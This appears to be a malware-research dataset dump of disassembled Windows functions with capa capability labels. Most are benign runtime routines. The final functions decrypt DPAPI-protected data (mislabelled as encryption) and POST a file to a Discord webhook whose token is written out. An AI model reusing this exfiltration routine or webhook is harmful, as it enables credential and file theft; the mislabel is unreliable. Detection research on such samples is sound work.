joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400260e4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140012630
sub rsp, rax
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140024a50
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140026133
mov rax, rbp
jmp 0x14002623b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x4d870]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140027204
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x4d870]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140026237
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140026237
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140027204
test rax, rax
js 0x140026237
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140026237
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140026229
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140026229
cmp byte [rcx], 0xd
jne 0x14002620f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002621e
cmp byte [rcx + 1], 0xa
jne 0x14002621e
inc rcx
jmp 0x14002621e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4b4d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400261f1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002623b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140012690
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14002645c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140026472
mov al, 1
jmp 0x1400264d2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140026483
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400264d0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002c69c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400264d0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400264d0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400264d0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400264d2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400265a4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14004d870]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400265fb
cmp word [rdx], r13w
jne 0x1400265fb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140026600
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140026725
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140026746
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140026639
mov rdx, r9
mov word [rbx], cx
jmp 0x140026660
cmp r9, r8
jae 0x140026670
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14002661a
jmp 0x140026725
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002671a
cmp dword [rsp + 0x80], esi
je 0x14002671a
lea r8, [0x14004d870]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400266f2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400266c2
mov word [rbx], r13w
jmp 0x140026722
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400266cf
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140026722
cmp word [rsp + 0x70], r13w
jne 0x1400266ff
cmp rbx, r14
je 0x1400266bc
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14002720c
cmp word [rsp + 0x70], r13w
je 0x140026725
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14004d870]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002671f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140026725
Function at 0x14002b988
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002b9b8
xor eax, eax
jmp 0x14002ba7b
mov rbp, rbx
cmp word [rax], si
je 0x14002b9dd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002b9c4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002b9c0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002a0fc
movsxd r14, eax
test eax, eax
jne 0x14002ba1b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002b9b1
mov rcx, r14
call fcn.140022db0
mov rdi, rax
test rax, rax
jne 0x14002ba34
xor ecx, ecx
call fcn.140022d74
jmp 0x14002ba10
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002a0fc
test eax, eax
jne 0x14002ba65
mov rcx, rdi
call fcn.140022d74
jmp 0x14002ba6f
xor ecx, ecx
call fcn.140022d74
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002ebf0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140021bd4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002ec91
cmp ebx, dword [rsp + 0x30]
je 0x14002ec8a
test esi, esi
je 0x14002ec8a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14002ec65
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002ec72
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14002ec4f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14002ec76
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002ec93
mov eax, 1
jmp 0x14002ec93
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003307c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14001d7e8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140033106
cmp byte [rbp - 0x21], r15b
je 0x140033101
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14003313c
call fcn.140023f04
test eax, eax
jne 0x140033128
cmp byte [rbp - 0x21], r15b
je 0x140033120
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14003313c
cmp byte [rbp - 0x21], r15b
je 0x140033139
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001de3c
test eax, eax
jne 0x1400331dc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14001d7e8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14003317b
cmp byte [rbp - 0x21], r15b
je 0x1400331b0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400331b0
call fcn.140023f04
test eax, eax
jne 0x14003319c
cmp byte [rbp - 0x21], r15b
je 0x140033195
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400331b0
cmp byte [rbp - 0x21], r15b
je 0x1400331ad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001de3c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400331dc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400331df
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400331ed
mov rcx, rdi
call fcn.140022d74
cmp byte [rbp + 0x3f], r15b
je 0x1400331fc
mov rcx, qword [rbp + 0x27]
call fcn.140022d74
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140034004
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14002720c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14002720c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140034154
cmp rax, 0xffffffffffffffff
je 0x140034154
xor edi, edi
test rbp, rbp
jle 0x1400340ff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140022cfc
mov rbx, rax
test rax, rax
jne 0x14003408c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400340f5
mov edx, 0x8000
mov ecx, r14d
call fcn.14001f4b0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14002595c
cmp eax, 0xffffffff
je 0x1400340d5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14003409c
mov edx, r15d
mov ecx, r14d
call fcn.14001f4b0
jmp 0x1400340f5
cmp byte [rsi + 0x38], dil
je 0x1400340ec
cmp dword [rsi + 0x34], 5
jne 0x1400340ec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400340f5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140022d74
jmp 0x140034168
jns 0x140034168
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14002720c
cmp rax, 0xffffffffffffffff
jne 0x140034120
cmp byte [rsi + 0x30], dil
je 0x140034168
mov edi, dword [rsi + 0x2c]
jmp 0x140034168
mov ecx, r14d
call fcn.14002c69c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140034168
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140034168
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140034161
mov eax, dword [rsi + 0x2c]
jmp 0x140034166
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14002720c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140034970
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034998
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140034998
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001b4a4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b4ba
mov al, 1
jmp 0x14001b51a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b4cb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b518
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400195f8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b518
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b518
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b518
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b51a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f930
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f958
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f958
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
lea r9, str._J_ms8m
mov r8d, 3
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x140014268
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.1400b3000
add rsp, 0x28
jmp 0x140014268
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push r14
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x140022170], rbx
je 0x1400142b2
cmp rax, rbx
jne 0x1400142c7
mov edi, 1
mov eax, dword [0x140022178]
cmp eax, 1
jne 0x1400142d4
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140014341
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001429b
mov eax, dword [0x140022178]
test eax, eax
jne 0x140014337
mov dword [0x140022178], 1
lea r14, [0x140017e20]
lea rbx, [0x140017e08]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x24], eax
cmp rbx, r14
jae 0x140014329
test eax, eax
jne 0x14001432d
cmp qword [rbx], 0
je 0x14001431e
mov rax, qword [rbx]
mov rcx, qword [0x140017da8]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x1400142ff
test eax, eax
je 0x140014341
mov eax, 0xff
jmp 0x140014494
mov dword [0x140021764], 1
mov eax, dword [0x140022178]
cmp eax, 1
jne 0x140014369
lea rdx, [0x140017e00]
lea rcx, [0x140017db0]
call sub.msvcrt.dll__initterm
mov dword [0x140022178], 2
test edi, edi
jne 0x140014376
xor eax, eax
xchg qword [0x140022170], rax
cmp qword [0x140022190], 0
je 0x1400143aa
lea rcx, [0x140022190]
call fcn.140014b40
test eax, eax
je 0x1400143aa
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140022190]
mov r9, qword [0x140017da8]
call r9
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x140014436
test cl, cl
je 0x1400143cd
test edi, edi
jne 0x140014436
dec cl
cmp cl, 0x1f
ja 0x1400143e0
inc rbx
mov qword [rsp + 0x28], rbx
mov cl, byte [rbx]
jmp 0x1400143cd
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rbx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000191c
mov dword [0x140021760], eax
cmp dword [0x140021780], 0
jne 0x14001441f
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140021764], 0
jne 0x140014434
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140021760]
jmp 0x140014494
cmp cl, 0x22
jne 0x140014448
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x14001445a
inc rbx
mov qword [rsp + 0x28], rbx
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x1400143bd
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r14
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004f9730]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004f9740]
mov dword [rax], 1
mov rax, qword [0x004f9750]
mov dword [rax], 1
mov rax, qword [0x004f9720]
mov dword [rax], 1
mov rax, qword [0x004f9610]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004f9710]
mov dword [0x0050a008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004f96d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x004f95c0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Encrypt data using dpapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
call rax
test eax, eax
je 0x4015b0
mov rax, qword [rbp - 0x10]
jmp 0x4015b5
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x4015bb
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0x1088
call fcn.004e48a0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1020], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.Mozilla_5.0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xff8], rax
mov rax, qword [rbp + 0xff8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.https:__discord.com_api_webhooks_1290511599152660574_Z_WdajyQZPM8_mRG9TVHLRKHIlyBLkkYS9052IbTqLPfJoQJTOpNMcsCl31g_JNzmJlB
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0xff0], rax
mov rax, qword [rbp + 0xff0]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._path_to_webhook
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0xfe8], rax
movabs rax, 0x2d746e65746e6f43
mov qword [rbp + 0xfc0], rax
movabs rax, 0x756d203a65707954
mov qword [rbp + 0xfc8], rax
movabs rax, 0x2f7472617069746c
mov qword [rbp + 0xfd0], rax
movabs rax, 0x7461642d6d726f66
mov qword [rbp + 0xfd8], rax
mov word [rbp + 0xfe0], 0x61
lea rax, [rbp - 0x40]
mov r8, qword [rbp + 0x1020]
lea rdx, str.______WebKitFormBoundary_r_nContent_Disposition:_form_data__name_file___filename__s__r_n_r_n
mov rcx, rax
call sym.sprintf
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.strlen
mov ebx, eax
lea rax, [rbp + 0xfc0]
mov rcx, rax
call sym.strlen
mov r8d, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xfc0]
mov rcx, qword [rbp + 0xfe8]
mov dword [rsp + 0x20], ebx
mov r9, rdx
mov rdx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov rax, qword [rbp + 0xfe8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xff0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xff8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
nop
add rsp, 0x1088
pop rbx
pop rbp
ret